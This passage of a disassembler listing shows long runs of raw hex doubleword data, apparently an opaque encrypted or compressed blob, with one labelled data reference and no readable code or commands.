		dd 0E2FEE5CAh, 6CB87031h, 0AC4AC68Ah, 3A6395C7h, 255188E2h
		dd 0F68FB85Ch, 0E2511F18h, 0E5C6251Dh, 2B69ADC2h, 3997A40Eh
		dd 0AF93ADB4h, 466A22CBh, 0D5CD3202h, 8A1B51E7h, 3CBDE53Ah
		dd 0CA0EC94h, 0EB3EA93Ch, 0A9C08001h, 0A42CFECBh, 841434B4h
		dd 0ACD4218Ch, 359A7159h, 7AEAEA32h, 0A02350F0h, 0F17270A0h
		dd 0C7370E46h, 3C444916h, 0FAFB1333h, 5996310h,	34F4EC9Dh
		dd 0F42FDF41h, 0E994E00h, 0D525ECD6h, 38B3BB58h, 79E6F1DBh
		dd 2314BCEDh, 5D2B8C76h, 52191274h, 0B40EBA30h,	12562DC6h
		dd 45726BB1h, 0C14EE3BBh, 0A34FE9EAh, 16A5A8DAh, 9578C30h
		dd 52E4AA8Ch, 6F514FB9h, 0A25DEDD3h, 0CECB6507h, 673610F2h
		dd 0CD4FCCD3h, 0CB97498Ah, 0D7639F2Ah, 2D68B6F7h, 906A065Ah
		dd 3D7A8428h, 0E2DADB05h, 0EBAAC28Dh, 0EBE21A30h, 83ABC64Dh
		dd 359494B3h, 66C37821h, 0BBE0B034h, 0F4FF6623h, 2DD42314h
		dd 7EF6E628h, 11A53BBCh, 8359120Bh, 0DF9EF982h,	6ACEDFA1h
		dd 0BDE65B01h, 9209F18Dh, 0E385B022h, 9231C399h, 0B58B7A54h
		dd 0EF2A0934h, 0F0FEB53Fh, 0BD05F8C4h, 3E95945Dh, 0D480F7EBh
		dd 95DE369Eh, 42FAC14Eh, 0AACA2E6Ch, 0F7327723h, 347CD8CCh
		dd 50EA361Ah, 0BACB08E3h, 7516F887h, 1A550138h,	0D96AD622h
		dd 82C3ED97h, 223F9FD1h, 3A94BB11h, 1E0C4BCFh, 0D75E5430h
		dd 0BDE84B04h, 0A2EFBBD2h, 700EAC1Ah, 0E429FDC1h, 0BA4FC158h
		dd 222D445Ch, 1D6C70F6h, 0C60887Ch, 2D636421h, 0E10772D0h
		dd 0F751876Fh, 96E87909h, 6FF9CF99h, 0A5E37A7Ah, 0C4172A31h
		dd 0B1ACF723h, 0AD0C989Ah, 27E06C6Eh, 0D60E08F8h, 56103B8Fh
		dd 0ABEEFC30h, 6230083Eh, 4433D661h, 19D9EC6Bh,	1E61F003h
		dd 759FBF9h, 0DEC43D32h, 8F5956FCh, 19560704h, 0EF56B794h
		dd 1C19B5F8h, 7474D820h, 0C2C4C4ABh, 0E13A1923h, 84747AA0h
		dd 0B0E6B56Ah, 931C79Ah, 2BE31865h, 7ACD6C7Bh, 0BCDC3748h
		dd 2FBC8BB4h, 69A62148h, 64A22C42h, 0E8C610B0h,	87B3D565h
		dd 94A866Fh, 0B7C9679Ch, 8CB9F549h, 0D0773B9Eh,	5D88E816h
		dd 2F412AFCh, 402C97E1h
		db 8Ah
byte_464E49	db 9Eh,	0Ch, 0		; DATA XREF: DMN0:off_4100D6o
		dd 64CDDB34h, 6869F26Ah, 1D516984h, 57F472ADh, 0A4BEA099h
		dd 4B874F9Dh, 19D87CE7h, 1E5FE1F1h, 402530E1h, 85AC32B7h
		dd 21AE099Bh, 0AD67A711h, 0C97C960Fh, 0D0E98B8Ch, 6A4DFD0Ah
		dd 27E73526h, 0FCAFDED8h, 38D806BFh, 9E604C1Bh,	0CC502664h
		dd 0E001B0DFh, 50489BF9h, 8B497FAAh, 37EF1342h,	4FF7C9DEh
		dd 0F5F28AF4h, 0D9DD7DD7h, 303882B1h, 0FEC51E4Bh, 38AD28FAh
		dd 0DDA744E9h, 0BD564EFh, 81C4D04Dh, 0F9B6416Eh, 0D625B99Bh
		dd 3477BD53h, 9387FBECh, 65CFE20Eh, 8DB224D7h, 0A881862Eh
		dd 9D6E96C8h, 335AA279h, 2226EEE7h, 6A8CF8DDh, 0A8C187EDh
		dd 2827D36h, 596CD369h,	7269C929h, 0B72AB1B2h, 4F907968h
		dd 17756724h, 3E36B33Dh, 0A41A9949h, 7B058A3Dh,	75B53EADh
		dd 0E12D869Ch, 0C60C9373h, 324CF43Dh, 152C911Eh, 0F4731E7Bh
		dd 0A6A60C4h, 0F7E4D03Dh, 0B957341Dh, 22BA1FC6h, 8C795530h
		dd 29C759D3h, 4B381CBFh, 5C074057h, 8645A5DCh, 3C2808D8h
		dd 0C2193139h, 37D94007h, 41394ACCh, 0AB545840h, 7FC77D33h
		dd 0D3812EBAh, 51F8A06Fh, 0B81F0EA9h, 603245BAh, 0D586B2CBh
		dd 0EA2E45DFh, 69034E40h, 89FD05A4h, 0E0702D98h, 6CAE086Ch
		dd 0E0AF2001h, 9255F9FFh, 59499BEFh, 99C0E268h,	0A512ACFAh
		dd 0B41EDEB1h, 0D81683ECh, 0C055BB0Eh, 0A40C4740h, 0CDDF72B4h
		dd 0A6DE1234h, 53CF45BFh, 0A16B31F6h, 58AF794Eh, 7D1F5304h
		dd 5CF5E63h, 0EA7E7756h, 0CF1C7067h, 0F4A320D2h, 0A31DC729h
		dd 9670D0B0h, 86AD615h,	175A027Ah, 0DA5F067Ch, 4C89E9Dh
		dd 3B760993h, 0D8EE7672h, 0E55C6C5Dh, 0DD1A8DBAh, 0F449F9D9h
		dd 167D6BE4h, 6274D636h, 4FC0D45h, 0B997C522h, 0A80C3670h
		dd 50510C57h, 0DEA531CDh, 0D4FCF321h, 7AEE14BDh, 4E90A8FFh
		dd 7E9CBF8Dh, 53E0AD3Ah, 17C15056h, 0F7F421BDh,	0EA13F983h
		dd 5DBADFA2h, 32246971h, 0F7ABF82Fh, 4DD13789h,	14B0B302h
		dd 0F23B08D9h, 218A29FBh, 94887A0Bh, 0C655B0C6h, 67BDAF65h
		dd 188DC90Ch, 78693BC6h, 484AC4E5h, 34FC98B4h, 716F7D3Ah
		dd 0E51E2303h, 0EAA067CFh, 0B9268997h, 4F33DDA4h, 0AF270113h
		dd 834C5C84h, 0B70797FCh, 0C2E6CA34h, 0C2AA71E0h, 48C82877h
		dd 12D9159Ah, 1891C1A1h, 95F696D4h, 0DF7C35B5h,	0FE016494h
		dd 79869F16h, 4343999h,	0F59D6205h, 68CD3290h, 77674A35h
		dd 561E1754h, 0DA97648Fh, 0DD7309E2h, 4CAAD426h, 0D54A2D7Ch
		dd 90A6F81Eh, 5FCEA473h, 5397BA12h, 5CFA0C58h, 2A00773Ah
		dd 17DBA32Ah, 921E6959h, 0DD189DDDh, 40364652h,	9DF0ABE7h
		dd 0DD886238h, 6D197B8Ch, 0D71C6D8Ch, 52C0D87Ch, 5451165Eh
		dd 0FBD6BAC9h, 9B883428h, 0F8C624D7h, 4852C93Fh, 16143E66h
		dd 834510D5h, 8AFD325Dh, 856E6074h, 6663DC9Ch, 0CBADD1Bh
		dd 0E6F7B372h, 0D768F805h, 9846C400h, 2B6EEAh, 0FE41B944h
		dd 87B92BF8h, 8B0F7C09h, 0C1D619E1h, 65CEB1EEh,	2726098Fh
		dd 78447583h, 0C0C0A9CCh, 0BFF89036h, 73C57694h, 92B563Fh
		dd 0B27FEFCFh, 0B24218BEh, 8A309B29h, 0CD6619F9h, 17AE367Dh
		dd 6BF48D9h, 7B6F0BA0h,	40A5B053h, 0FEC7DF40h, 1F426C0h
		dd 51B97C6Bh, 3CB7E2CBh, 5CFD4DB6h, 86D11059h, 2BAB864Fh
		dd 20ECC312h, 7782BC51h, 0A14D8B26h, 0F32EFDF4h, 0B92017ECh
		dd 201335D9h, 0D88001D2h, 150E1C27h, 953FCDD6h,	153D81DFh
		dd 0A0384CEh, 0DAF2CD05h, 2828D71Dh, 0D10CB6B1h, 0F4DFAF80h
		dd 541A7549h, 85DD7462h, 0E242C142h, 690F9F2Bh,	0B7056DDAh
		dd 4D5AA857h, 0E71E17FBh, 0F5B7B672h, 5333468Eh, 141A0438h
		dd 0A203FD07h, 0C7612A61h, 0B19BC964h, 90640DE3h, 0C573526h
		dd 0AE93DB7Bh, 8D3A1C2Ch, 0E0F4F98Fh, 0E95A6D10h, 22432741h
		dd 0D2BBDCABh, 32E6A3D4h, 8552C858h, 5CAB68Ch, 83DBF81Bh
		dd 1FA4BFB1h, 9C40743h,	67819361h, 91B1400Fh, 784A59C3h
		dd 44362D25h, 0BFE40BD7h, 7161049Fh, 4FA1B7BBh,	0BDBF7601h
		dd 324250DDh, 0CF32213Ah, 0ED66094Ah, 53AE05E1h, 9B4017ADh
		dd 0F76F0EB2h, 6AA7095h, 0DDC7DF1Fh, 6650125Bh,	50E902F8h
		dd 0B9879628h, 0F4504E30h, 8ED91054h, 9DFD8F5Eh, 36C4A13h
		dd 47A316C4h, 0A0408026h, 0F132C924h, 0C850C756h, 0DCEA20DEh
		dd 0D212F9D2h, 17E71D24h, 653DEFD6h, 0E55DF2DDh, 0F401C80Ch
		dd 0D6B2C8C8h, 0EE68AD6h, 0D2F76B77h, 908C2808h, 55DD02BEh
		dd 547FBC24h, 0F6847DFBh, 32A45823h, 45CA69DDh,	0E6D16954h
		dd 7CC4B706h, 91184418h, 5C2FC5FEh, 0B19E906h, 0FEF08507h
		dd 5425D573h, 0D75D42D9h, 551C9DE7h, 5274782Eh,	0FB60DB8Fh
		dd 964BC284h, 139570ACh, 6F9DD1Fh, 235EA3BFh, 4A985A8Bh
		dd 637BBC0Ch, 34094501h, 0F8BBCA48h, 80540376h,	1397C009h
		dd 2927D943h, 6760A221h, 95357DB4h, 74359D83h, 4C161F8Eh
		dd 0EB6F084Ch, 0F8850483h, 4BDC96BEh, 0CE343447h, 399C76C0h
		dd 5132A87Ch, 0A07AD741h, 0C627D924h, 0E3401D4Fh, 0FAB70E0Eh
		dd 58AEF428h, 64C67293h, 72589794h, 27AA02DBh, 0F82E3B49h
		dd 0D2A04AF4h, 6A48C241h, 95718BDCh, 9B02CFE7h,	0B0C916C8h
		dd 477004A4h, 5720DF35h, 0B43B0255h, 6A6030DEh,	0C88147DCh
		dd 2EEF4ECCh, 942DAD6h,	0E0EB05E6h, 0B584339h, 0DA075B15h
		dd 82E17D9Dh, 5E3FC370h, 0C5AAD91Ch, 4F4F49E2h,	0DE15DB29h
		dd 0F6813F25h, 95FA3710h, 9D8C0F51h, 8315EB59h,	36156A7Bh
		dd 0D16EA3E2h, 2D53B448h, 0F01C20F7h, 7A34CF08h, 7967C25Dh
		dd 661BC824h, 0B7BFD90Eh, 219CFD7Fh, 8E818ABh, 7A8BACA9h
		dd 0CF0DD65Ch, 0CFEEDDE8h, 6C5A2BFFh, 521C3AA8h, 0BB3D3C88h
		dd 0B76BF301h, 8EAA524Ch, 0EBACCCFBh, 2ACE235h,	0C3E5AE43h
		dd 6047BA65h, 90107C0Fh, 4CE84E43h, 442E6724h, 0C3F76AF7h
		dd 7168EBE6h, 41A48F73h, 0B0F9C8ECh, 324D968Fh,	0FC73182h
		dd 2D66594Ah, 6E71F167h, 6B41E6DDh, 0D47B14D3h,	0BAA7845Ah
		dd 10C7DE17h, 29D10Bh, 4D69023Ah, 7515C71Ah, 0FA81B237h
		dd 0BC839925h, 37844F63h, 93007AB9h, 53989E2Eh,	6136D5h
		dd 8041A2E5h, 0DF88E48Eh, 52D2E0EBh, 23B19A52h,	0C6838BDAh
		dd 88A5E6E7h, 0B00C7992h, 258A5B4Dh, 1AD28799h,	9BB236CDh
		dd 8FF4FFE5h, 0EF130A33h, 6BE67452h, 86AF5129h,	1FCC8B62h
		dd 281BB1A3h, 0F43463E5h, 88D62F9Dh, 1F8156EAh,	0F6DCEF76h
		dd 27141FFBh, 0D70F36EAh, 3B0E29DAh, 0A13950F4h, 2692818Bh
		dd 0D9330D69h, 0B7B3C766h, 5444BD9Fh, 8B8A4CE8h, 9E22F874h
		dd 1EE36167h, 0B7F8EB36h, 0DD11D7C4h, 22380805h, 0D75B87D8h
		dd 0A8914EBEh, 4C11E30Fh, 0A6B82118h, 0B827A7FCh, 9BF7161Fh
		dd 0C097D62Bh, 0C02760E4h, 1D2530DBh, 5C65182Eh, 0C8D8FE8Bh
		dd 0E277989Ah, 7B2AAAAh, 0F373DE8Dh, 34E179FCh,	11FDCC9Ah
		dd 3B9F35EEh, 0F3770D83h, 0F944FA23h, 696A9C25h, 0E62D94C6h
		dd 0FB8EA933h, 8C0F8465h, 552A7109h, 8AD1E103h,	0EEF26174h
		dd 0A77D4B48h, 1E32E2C8h, 2286E2D5h, 5AE42978h,	251D66FCh
		dd 2D08EFCDh, 0C0E11F2h, 3D7A2431h, 5DF576EBh, 42FB3DCBh
		dd 1D686CA6h, 23834EC0h, 0D024E52Bh, 62DC7F67h,	37A24171h
		dd 0A1406F23h, 0DD95FEECh, 8140A6CBh, 4DBBEC8Ch, 0C4922D35h
		dd 89511502h, 0A4418327h, 0B111F416h, 7585B08Ch, 0B031481Ah
		dd 4B87CA6Dh, 7B00B81Fh, 574218CCh, 0BA6B3E57h,	8263175Ch
		dd 1EF6196h, 0BA45B654h
		dd 0D21418BCh, 0BE439C45h, 1269478Ah, 0AE2E27E7h, 7AFDF21h
		dd 713CDBB3h, 0A5762F2Dh, 0F05449CDh, 0E363184h, 685964Bh
		dd 6306F931h, 93F57AE0h, 4F88E57Ch, 28867826h, 0A11134CCh
		dd 0BD4667A7h, 0FBBE8A0Dh, 0A2C057B7h, 3522B70Dh, 2B866C34h
		dd 15DD842Bh, 24B75C2Ah, 0DBD18A00h, 53A15396h,	5966E8Bh
		dd 9CAA4B57h, 791B7FB3h, 0A29D543Eh, 7CCFADE7h,	0C40318B7h
		dd 202C3A84h, 0E66C249Bh, 52635F4Dh, 0F0BC5812h, 0D73AE3C6h
		dd 0B0E23C5h, 0D571BEFBh, 2F71F462h, 0AEE1136Ah, 8377043h
		dd 0F0A502C5h, 44D319F8h, 0CCB4BB1Bh, 0C3D2296Dh, 8D9117C2h
		dd 7F190663h, 4ACD5FADh, 0A4DB7156h, 1FDBD4E9h,	745DC35h
		dd 0C599BA6Dh, 1FD37DA2h, 72B26198h, 0DBDC3D8Dh, 0F390AF98h
		dd 931C3AA7h, 0C0837F2Eh, 0D2D86567h, 0D0AC33E7h, 0F01CE5EBh
		dd 2F857A6h, 2EBEF82Ch,	0EAD0B67Ah, 0D45D9CB4h,	0EB6A2901h
		dd 9AB381E5h, 14A5C3C4h, 4B1A6F4Ah, 0C26A17D2h,	0DA12E0Bh
		dd 3DF1DC14h, 97F5620Dh, 0FFA83828h, 9E4544CFh,	2C495DDEh
		dd 0D7CCEF06h, 0FA6DBD71h, 1C6AF173h, 4FCC82Ah,	0F6DF0E8Fh
		dd 931F9D62h, 0EB722D96h, 44F66D9Eh, 9D47E10Bh,	78CFB68Ch
		dd 1E5D22E6h, 9CC8ED99h, 0FF485CAFh, 7D8AD250h,	0FA27BB31h
		dd 9D6112DDh, 0F464B022h, 5F0532C2h, 0F6EC5062h, 3C323EF0h
		dd 8AC340B2h, 8655419h,	0DA6526EEh, 75891B5Dh, 5F164BD3h
		dd 13267602h, 3EC914C5h, 13C0DD3Bh, 0B424FB5Ch,	0F2B453C7h
		dd 4FA7114Dh, 241C28F7h, 0F8125D43h, 0D622F50Ah, 0C1595CAEh
		dd 0B4EDB854h, 0F1152DBh, 0A030B87Ah, 9186DBC6h, 16EDDFE6h
		dd 0ABAC925Bh, 0E0E06D55h, 49DC2C2Bh, 2F6195AEh, 0B1771B97h
		dd 0E576149Ch, 885E2589h, 0BC05BA4Fh, 6206CF1Fh, 72187239h
		dd 0FF7662FBh, 52CD3B4Ch, 4EDFC6BAh, 0D0ECC826h, 0F9F582F8h
		dd 64496EC6h, 4DBFFE11h, 36546030h, 523470B1h, 812D9834h
		dd 0E3B7A9FAh, 0D2C7382Eh, 13526C7Ch, 0E06AF9A3h, 2296363Eh
		dd 0CFDD743Fh, 1CDB6756h, 407AD7A0h, 851813AEh,	0DF201560h
		dd 9BE957B3h, 75BA22EBh, 95673068h, 873EE5F1h, 925F9E53h
		dd 8FA0D2AFh, 61029D16h, 7EB23D0Bh, 13022A75h, 4CE0859Eh
		dd 0EAC02FF5h, 6E2302D3h, 0A4565EA6h, 590CDBA4h, 99A145BBh
		dd 7C1EA5DCh, 0B0AF7D30h, 0D5C9298Fh, 0D9540EF6h, 0B292749h
		dd 319B6BA1h, 53901882h, 63214D62h, 1230F59Fh, 1E67678Ch
		dd 3B708E32h, 6DBA88F6h, 0F2365BCBh, 0B58E9D36h, 913D7969h
		dd 2E4C00EFh, 0C408A8E6h, 0BB45DC45h, 3326D16Fh, 5A03B46Ch
		dd 1F7F44C4h, 1D9D9C95h, 0AE89289h, 2F1A9BC7h, 0AD9BF11Dh
		dd 0C6AA1648h, 45C981Eh, 44A71C8Dh, 0EF283B1Ch,	2995FF49h
		dd 2C914FFFh, 1A52880Bh, 0EA2276CEh, 0ED5ECB81h, 0EC4C671Ah
		dd 574C777Ch, 0A03F7C98h, 0C1283FB3h, 0EF8E09D6h, 9C1CB63Bh
		dd 5A1CBA99h, 294B406Ah, 9C4E6496h, 4C42D9Eh, 0ACF030DCh
		dd 5495C16Eh, 25607734h, 0B564F957h, 0A9AB9ACBh, 89D32464h
		dd 0F3EAAB51h, 36B891D3h, 7AEB30A9h, 59862E8Dh,	5E059CCBh
		dd 0C75B9DFAh, 51F9DB75h, 1F3EE457h, 1E672EA8h,	3C6C7B34h
		dd 74974D7Dh, 2CA9444Ah, 5A41B0C1h, 4DCFBAFFh, 8483046Bh
		dd 8400B4E7h, 20118857h, 594AE721h, 6D594A7h, 5A03C6F3h
		dd 0B3AC340Eh, 0AD27AAF8h, 12D1AF9h, 0B0D69534h, 0DB079668h
		dd 0A6FA9E6Ch, 593E37F5h, 66461652h, 0CDD1977Dh, 0FB96ABFh
		dd 185ED3AAh, 0A8C0C8ECh, 0DF7A8FA6h, 3922A184h, 9DBA059h
		dd 363FE513h, 27A03821h, 0BDBC280h, 0B1BAB84Dh,	807158Ah
		dd 0F250329h, 2590397h,	24B6100Ah, 2C6681E7h, 2CA01999h
		dd 26025270h, 4DC0AA6Ah, 9A382CC5h, 25AC4AA8h, 4727BEADh
		dd 9D7F667Eh, 5E1F1EC2h, 0DFB9C380h, 91D07AAh, 0A2CF7215h
		dd 0D0C6F5CBh, 6B54ACC3h, 81D58601h, 168C0F59h,	0D0FCC1EFh
		dd 0F3EE54AAh, 478C998Ah, 0E14F3C94h, 2A136182h, 0ADA04FF7h
		dd 0A792DDCDh, 53901CC7h, 0C81CDC8Ch, 5BD40420h, 78230F43h
		dd 902CDAACh, 1DB1769Bh, 752FFA4Eh, 0C164034Fh,	0BB558B2Eh
		dd 0CA119E91h, 0DAFF7489h, 95DE716Bh, 0E2E5CCD3h, 0D5C7D9FDh
		dd 0F48AFDCFh, 5ADF2323h, 0A24AB8E7h, 0DD619AC5h, 9ED14859h
		dd 4A1DB03Bh, 55896DD6h, 0B24CA988h, 0ADDE71A0h, 6065A628h
		dd 22F64BF4h, 8BA23185h, 252498Fh, 9F804314h, 651022Eh
		dd 12C88AA5h, 6A0C121h,	32251720h, 64C7F4ABh, 0D4A25C6Bh
		dd 27F3F47Fh, 64675C1Dh, 0FCAA88D9h, 3F829236h,	42B879B4h
		dd 25365D48h, 7B2A2530h, 0B96F1F74h, 3A4997A4h,	0DED72A7h
		dd 1D3F5BD9h, 0DCC871DFh, 153A51D1h, 0E4F5D5C1h, 0E5310C0h
		dd 9A6CA99Fh, 0DAADA27Bh, 95F94B2Bh, 1646BAB1h,	53568038h
		dd 9DC08942h, 411ED680h, 129DF6B1h, 83F92CABh, 735BA663h
		dd 0C9352A40h, 0B690C6h, 19DEF649h, 0BBA2DFDAh,	7118DD28h
		dd 42890238h, 0B3D6E786h, 39A81C69h, 933DE4D6h,	76D91F18h
		dd 6265D235h, 59C93827h, 3F3DCCE7h, 0FD417C53h,	0B863632Ch
		dd 8FD30D09h, 0E93D15B7h, 7E96EC5Eh, 300A98ACh,	44371D7Ch
		dd 595CEE5Ah, 12CC7B1Dh, 6D0EAD17h, 9AF1EFB0h, 823DD1A9h
		dd 0E43B075Bh, 0AE9580F7h, 0C0CC3681h, 0C62ECC24h, 19D4D9AEh
		dd 0BCEC682Ah, 6B36788Ch, 451296A6h, 7B4926A0h,	1115AF3Dh
		dd 21B331B7h, 2B437612h, 3A64506Ah, 48EDF15Eh, 1DE36CF6h
		dd 763220ECh, 783BC82Dh, 26FB9FF3h, 0D6E78CAh, 0A2961A9Ch
		dd 0F9291073h, 8E5324F6h, 0DD55DFC6h, 2DB8FF5Ch, 860D2C9Ch
		dd 5DA2454h, 0BD1699A1h, 0C637B4F7h, 17A0F457h,	0F90E15C6h
		dd 95F2CB2Dh, 92C9BBEDh, 30E3F23h, 5DE05996h, 27D0E0Ch
		dd 44E35DF5h, 0A92F839Dh, 207DEBE2h, 84F7D565h,	8834DFBh
		dd 5FD3604Fh, 905929D2h, 5C4BE9D7h, 0AFC2631Eh,	0B6FB9568h
		dd 7690EDAEh, 1AE4EFB6h, 0C3679282h, 8762F810h,	74A84A4Eh
		dd 2E669F58h, 0DF41DFEAh, 29AE1525h, 308A0E2Ah,	4909C92Ch
		dd 0F626FC5Bh, 0DDF8F4D2h, 0B5FBB122h, 326FCFE7h, 400F9230h
		dd 0DDB8A3FDh, 35894633h, 0E7BBA762h, 28E206FFh, 0E703C3FFh
		dd 6AF026CDh, 2596996Ch, 8024428Bh, 7D2D0703h, 12DEB5C3h
		dd 0E47F1255h, 0E77B0D3Fh, 0BD680541h, 0ECD14E5Dh, 7803533h
		dd 90603BDBh, 0ACFA655Eh, 0B608E137h, 0F8397BF4h, 5294898Ah
		dd 0C6058BBBh, 0E15673A0h, 0ECCC4D75h, 8692A048h, 8F152410h
		dd 0DDB2A525h, 892FA0E0h, 4D3DD3B7h, 631CBF64h,	0BEA751B5h
		dd 70C0601h, 0DA1941DDh, 0E47B1689h, 0E2A028B0h, 96B6CFE5h
		dd 2692EECBh, 0C480B748h, 179F99DCh, 3A01BE98h,	136E359Dh
		dd 2B1F291h, 1961A4AEh,	0E6C1A68Eh, 58F25763h, 5D5609EBh
		dd 44F82A07h, 9FDBCD94h, 49F473A8h, 0F9A91390h,	41A619D7h
		dd 0ED2A4D79h, 981C2B9h, 91AB369Bh, 15A7D569h, 0E1EB85EAh
		dd 70BCEAC2h, 0C972B9CCh, 0DDD14D13h, 55C0D356h, 0C8439CC8h
		dd 0AD84BF87h, 0BC60151Fh, 7D185D33h, 0A748F5A2h, 61D9B30Ch
		dd 5D86D9B6h, 2C6234AFh, 90CCEF7Eh, 643A0236h, 0FE7BE54Fh
		dd 0EA3E5FBEh, 711D3009h, 0B9519C1Ah, 0D05CBE14h, 34C0A7BCh
		dd 4F33E11Ah, 0F8BB8435h, 4D381C59h, 3DD5F653h,	20708266h
		dd 0E61B6E02h, 5A18D9DAh, 80663876h, 0E666BB04h, 564F34h
		dd 9402AFE5h, 0D91040F2h, 0DFCF3375h, 57218732h, 79A408E1h
		dd 725A963Ah, 126936FCh
		dd 5BB465DAh, 50AA407Fh, 0E9026340h, 77D9E6Dh, 824AE752h
		dd 8F5CBDAh, 0B24A9B1Ch, 838A3F45h, 206C7FBEh, 7E9AE8BBh
		dd 8FC2AD3Ah, 600B0657h, 70E1B6EAh, 0FA3809D0h,	0ADA28F22h
		dd 3672C3D5h, 21D3A3B0h, 0BC420C17h, 919A9C9Fh,	293D3BDEh
		dd 7237C4FCh, 0D0F480E4h, 912BF0h, 0FEA393C0h, 0E6FDE8E8h
		dd 0BAA6832Fh, 0A2EE105Bh, 3039C33Ah, 1516AAE5h, 286F84E8h
		dd 0FF640537h, 0B750FB19h, 0BA506697h, 7C3DF893h, 0EC5F06A2h
		dd 106FC1A8h, 0FB3AF14h, 0CD3FF68Ch, 0B74C8363h, 632F8EC3h
		dd 9DB3673Bh, 0CB40148Eh, 4E287C6Eh, 29FFC2F9h,	0D34D073Eh
		dd 583A4C3Ch, 7AA269EDh, 6C1606A2h, 89F19A1Dh, 0FDE58CF9h
		dd 1539A5CCh, 42D42815h, 0C3406415h, 0A5AD22E3h, 0AC3D3459h
		dd 0B21EA5FAh, 0C89418Eh, 4F3586CEh, 0A398FD44h, 2036034Bh
		dd 53DBA6E7h, 6641BE0Ah, 0D1243E17h, 935B356Bh,	0A5DA3490h
		dd 5B3DD657h, 575BAADEh, 0CBD813A7h, 0B7E62AC4h, 4A4CDCCCh
		dd 0A2FA43E9h, 2CE1F737h, 2A79D0E2h, 0CF76B206h, 78D9C6C7h
		dd 0A5B42BDCh, 0F3DE3583h, 6CD339B4h, 6777959Fh, 158BFB35h
		dd 0A19D8253h, 10CB2F62h, 0CB748DBAh, 0F91B8258h, 8829D9FBh
		dd 0CD1C992Eh, 33B009FFh, 0D2639522h, 5A363E21h, 8209B3DDh
		dd 0F3AF3A42h, 7610311Fh, 0B225C7FCh, 0E893BA61h, 0F02F62B8h
		dd 0F8AEA29Bh, 384244D7h, 774A41FEh, 8929238Dh,	0E7E8C591h
		dd 0F7B18B80h, 451A34B7h, 0FD9ADC36h, 23443386h, 90885811h
		dd 0B039CA05h, 0B7668840h, 188985FEh, 26AE3452h, 49838AE5h
		dd 46FC2683h, 5332A483h, 34E1344Bh, 2929114Eh, 32EC2B99h
		dd 0DD90032Ah, 5857F5C0h, 0B3173B5Ah, 8E6762DFh, 3DDDDE68h
		dd 0EBA24B9Ah, 0EA695AADh, 3691D552h, 0C75441BAh, 88DEF2Bh
		dd 0BC03D357h, 0D49E18B2h, 115FEC6Ah, 0F0C29443h, 0FC1C69D4h
		dd 0CB7F4C5Fh, 37589262h, 0F908D75Ch, 5ED9DEABh, 1816154Bh
		dd 880E482Eh, 8E688251h, 7369875Fh, 8ACE5420h, 0D8E4B07Fh
		dd 0AB62E2D4h, 0B0DB7A10h, 2BD4FBFFh, 0B1CCC04Bh, 4744EA38h
		dd 133A9F38h, 473B5B6Ch, 0C81FD133h, 0DA665567h, 33245890h
		dd 56CB0B5Fh, 9901A411h, 239B0CFEh, 0E1C623EBh,	3FCFFCDh
		dd 0FA050B07h, 411F3B3Fh, 6C15809Eh, 6A0F4B2Fh,	0FBD8501h
		dd 0B2F9CC3Dh, 0D65B25D6h, 0CB94D3F4h, 0C6020225h, 4AE4D39Ah
		dd 0B9549FE8h, 892E7022h, 0AABA8B25h, 0B3451859h, 1B570587h
		dd 3F7B346Ah, 20D66AD7h, 6CD5C988h, 0EA50EA4Ah,	559505A9h
		dd 0B0F51F4Dh, 0B72E2FCEh, 0CA0DE818h, 0DD13FCC8h, 0F994BE97h
		dd 0FB11EE87h, 344F35A5h, 6C13933Ah, 96D05E11h,	0D4AE45A5h
		dd 7A9B94DCh, 0A5638D91h, 3CEB1F55h, 69FB4256h,	7613845Eh
		dd 2EA2E38Eh, 0B21ECBCBh, 2A714D30h, 449387FAh,	3F4C57C4h
		dd 24573680h, 88CD49FFh, 0CEFEA57Eh, 0C6779E92h, 0A1F82232h
		dd 0B286BF1Dh, 0E7AFE81h, 0B94993D2h, 9FDB22B1h, 0AD689906h
		dd 1BCE9B03h, 7230EE68h, 6702AA2Dh, 296929B1h, 3045E699h
		dd 0F0F5D230h, 2D14782Ch, 6575FB47h, 333B120Ah,	494F5DD3h
		dd 0BB85210Eh, 0C581DC81h, 41B699DAh, 0C45C94F0h, 0A5709DC3h
		dd 301AE003h, 981EFC0Dh, 0D3700ADCh, 56295E22h,	5A52BC0Ah
		dd 17C1AD81h, 0AC3D4156h, 8187C209h, 10EA930Dh,	0AF1A9ABh
		dd 0E21DDDE8h, 0BE5B949Eh, 0F975F07Bh, 4E03F228h, 58C538F7h
		dd 5477804Ah, 7076C44Dh, 0F59BC15Dh, 0C57638A4h, 0EE881610h
		dd 135FA3FBh, 0B634A873h, 248B2EACh, 64B94537h,	4E2C13DDh
		dd 851F431Ah, 32463749h, 0B816925h, 77A72F94h, 0AC99D9C5h
		dd 0EE7C3FAEh, 0E4187766h, 0F0E90D44h, 54A01D93h, 0DD53EF59h
		dd 0C4035489h, 596AE4E2h, 0D5B0E4FDh, 0CF9F6761h, 4F810EC1h
		dd 0E9A4BFA1h, 0B0CE24DAh, 7C48F725h, 5E7DC095h, 0BB5E4554h
		dd 7EB39938h, 269748D9h, 0F4B3465Ah, 367BEEFh, 3A255B92h
		dd 323C8B91h, 0EC834F2Bh, 73338E7Fh, 7B667F80h,	56FB5174h
		dd 5EF7BF73h, 3521EDC3h, 0FACA2882h, 6264497Eh,	99FE539Ah
		dd 259329FEh, 0A4B916A7h, 7B8AE3C7h, 15DC9BD7h,	7B161451h
		dd 899063C5h, 0F2F34130h, 0D295DF64h, 0A9376877h, 0C157ABE0h
		dd 48A164D0h, 4E43584Bh, 0C17542FFh, 76B46D80h,	1BE77BDFh
		dd 81F1FAB8h, 2C2BE559h, 0F22C9EB5h, 0BD83538Ah, 523BA08Fh
		dd 0F49D698Fh, 528DD96Dh, 99B077EEh, 54C1DA22h,	0C67F2EC5h
		dd 2CA1868Eh, 3A6046EBh, 0AB83E14Ch, 6EBB5C12h,	6DFDDBA4h
		dd 0D2873006h, 0EEC2A954h, 3E99975Fh, 12FE9BC9h, 0FEA6CDEBh
		dd 5EA6DE3Ah, 20EBB861h, 7B875249h, 944011A2h, 84665CB9h
		dd 982BC544h, 0F84E8D5Bh, 29ED416Eh, 676843D5h,	0F9AFB82h
		dd 0A160CAAEh, 78BF88ABh, 76633BE0h, 7257D450h,	4188DE70h
		dd 7DB4D618h, 0E2D25AC6h, 40367F33h, 6F827EE6h,	0DE980545h
		dd 0C90F76F1h, 8ADC350Ah, 0D35AAE54h, 30507F64h, 55E48CBEh
		dd 9194E607h, 0E927264Dh, 78C7E8F9h, 7E3A7AAAh,	0CB568E46h
